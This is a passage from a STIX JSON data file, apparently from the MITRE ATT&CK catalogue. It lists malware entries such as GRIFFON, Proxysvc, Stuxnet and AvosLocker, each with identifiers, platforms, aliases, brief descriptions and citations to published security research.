2024.","url":"https://www.state.gov/attribution-of-russias-malicious-cyber-activity-against-ukraine/"},{"source_name":"AcidRain JAGS 2022","description":"Juan Andres Guerrero-Saade and Max van Amerongen, SentinelOne. (2022, March 31). AcidRain | A Modem Wiper Rains Down on Europe. Retrieved March 25, 2024.","url":"https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["GRIFFON"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","type":"malware","created":"2019-10-11T17:29:20.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0417","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0417"},{"description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019.","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","source_name":"SecureList Griffon May 2019"}],"modified":"2020-06-23T19:20:45.892Z","name":"GRIFFON","description":"[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T18:59:38.457Z","name":"Exaramel for Windows","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["Exaramel for Windows"],"type":"malware","id":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","created":"2019-01-30T15:10:03.894Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0343","external_id":"S0343"},{"source_name":"Exaramel for Windows","description":"(Citation: ESET TeleBots Oct 2018)"},{"source_name":"ESET TeleBots Oct 2018","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-07T19:11:33.669Z","name":"Amadey","description":"[Amadey](https://attack.mitre.org/software/S1025) is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Amadey"],"type":"malware","id":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","created":"2022-07-14T17:30:54.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1025","external_id":"S1025"},{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="},{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RDFSNIFFER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--065196de-d7e8-4888-acfb-b2134022ba1b","type":"malware","created":"2019-10-11T16:13:19.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0416","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0416"},{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-16T15:34:22.990Z","name":"RDFSNIFFER","description":"[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["Proxysvc"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--069af411-9b24-4e85-b26c-623d035bbe84","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0238","external_id":"S0238"},{"source_name":"Proxysvc","description":"(Citation: McAfee GhostSecret)"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2020-03-30T17:23:20.589Z","name":"Proxysvc","description":"[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Orz","AIRBREAK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.2","external_references":[{"source_name":"mitre-attack","external_id":"S0229","url":"https://attack.mitre.org/software/S0229"},{"source_name":"AIRBREAK","description":"(Citation: FireEye Periscope March 2018)"},{"source_name":"Orz","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"source_name":"Proofpoint Leviathan Oct 2017","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."},{"source_name":"FireEye Periscope March 2018","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)","modified":"2022-04-19T01:33:33.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Orz","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:31:28.094Z","name":"Torisma","description":"[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Torisma"],"type":"malware","id":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","created":"2022-02-01T16:21:13.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0678","external_id":"S0678"},{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NOKKI"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","type":"malware","created":"2019-01-30T19:50:45.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0353","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0353"},{"source_name":"NOKKI","description":"(Citation: Unit 42 NOKKI Sept 2018)"},{"source_name":"Unit 42 NOKKI Sept 2018","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."},{"source_name":"Unit 42 Nokki Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."}],"modified":"2020-03-18T15:22:32.747Z","name":"NOKKI","description":"[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["yty"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0248","external_id":"S0248"},{"source_name":"yty","description":"(Citation: ASERT Donot March 2018)"},{"source_name":"ASERT Donot March 2018","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/"}],"modified":"2020-03-28T21:45:32.149Z","name":"yty","description":"[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T17:18:25.971Z","name":"Backdoor.Oldrea","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["Backdoor.Oldrea","Havex"],"type":"malware","id":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","created":"2017-05-31T21:32:59.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0093","external_id":"S0093"},{"source_name":"Gigamon Berserk Bear October 2021","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf"},{"source_name":"Symantec Dragonfly Sept 2017","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"},{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:37:34.915Z","name":"DOGCALL","description":"[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["DOGCALL"],"type":"malware","id":"malware--0852567d-7958-4f4b-8947-4f840ec8d57d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0213","external_id":"S0213"},{"source_name":"DOGCALL","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T23:46:32.577Z","name":"Stuxnet","description":"[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Stuxnet","W32.Stuxnet"],"type":"malware","id":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","created":"2020-12-14T17:34:58.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0603","external_id":"S0603"},{"source_name":"W32.Stuxnet","description":"(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) "},{"source_name":"CISA ICS Advisory ICSA-10-272-01","description":"CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020.","url":"https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01"},{"source_name":"ESET Stuxnet Under the Microscope","description":"Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020.","url":"https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf"},{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"},{"source_name":"Langer Stuxnet","description":"Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved December 7, 2020.","url":"https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Downdelph","Delphacy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","type":"malware","created":"2017-05-31T21:33:16.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0134","external_id":"S0134"},{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-30T15:32:15.795Z","name":"Downdelph","description":"[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-12T21:19:45.801Z","name":"RotaJakiro","description":"[RotaJakiro](https://attack.mitre.org/software/S1078) is a 64-bit Linux backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First seen in 2018, it uses a plugin architecture to extend capabilities. [RotaJakiro](https://attack.mitre.org/software/S1078) can determine it's permission level and execute according to access type (`root` or `user`).(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: netlab360 rotajakiro vs oceanlotus)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["RotaJakiro"],"type":"malware","id":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","created":"2023-06-14T17:04:01.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1078","external_id":"S1078"},{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"},{"source_name":"netlab360 rotajakiro vs oceanlotus","description":"Alex Turing. (2021, May 6). RotaJakiro, the Linux version of the OceanLotus. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-02-15T17:03:59.324Z","name":"AvosLocker","description":"[AvosLocker](https://attack.mitre.org/software/S1053) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://attack.mitre.org/software/S1053) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Flavio Costa, Cisco"],"x_mitre_aliases":["AvosLocker"],"type":"malware","id":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","created":"2023-01-11T21:17:36.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1053","external_id":"S1053"},{"source_name":"Joint CSA AvosLocker Mar 2022","description":"FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.","url":"https://www.ic3.gov/Media/News/2022/220318.pdf"},{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"},{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SEASHARPEE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0998045d-f96e-4284-95ce-3c8219707486","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0185","external_id":"S0185"},{"source_name":"SEASHARPEE","description":"(Citation: FireEye APT34 Webinar Dec 2017)"},{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2021-04-23T20:29:59.216Z","name":"SEASHARPEE","description":"[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Get2"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","type":"malware","created":"2020-05-29T20:32:42.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0460","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0460"},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:48:16.541Z","name":"Get2","description":"[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["POWRUNER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0184","external_id":"S0184"},{"source_name":"POWRUNER","description":"(Citation: FireEye APT34 Dec 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-07-06T16:11:56.562Z","name":"POWRUNER","description":"[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-25T20:02:07.578Z","name":"KOPILUWAK","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.(Citation: Mandiant Suspected Turla Campaign February 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation 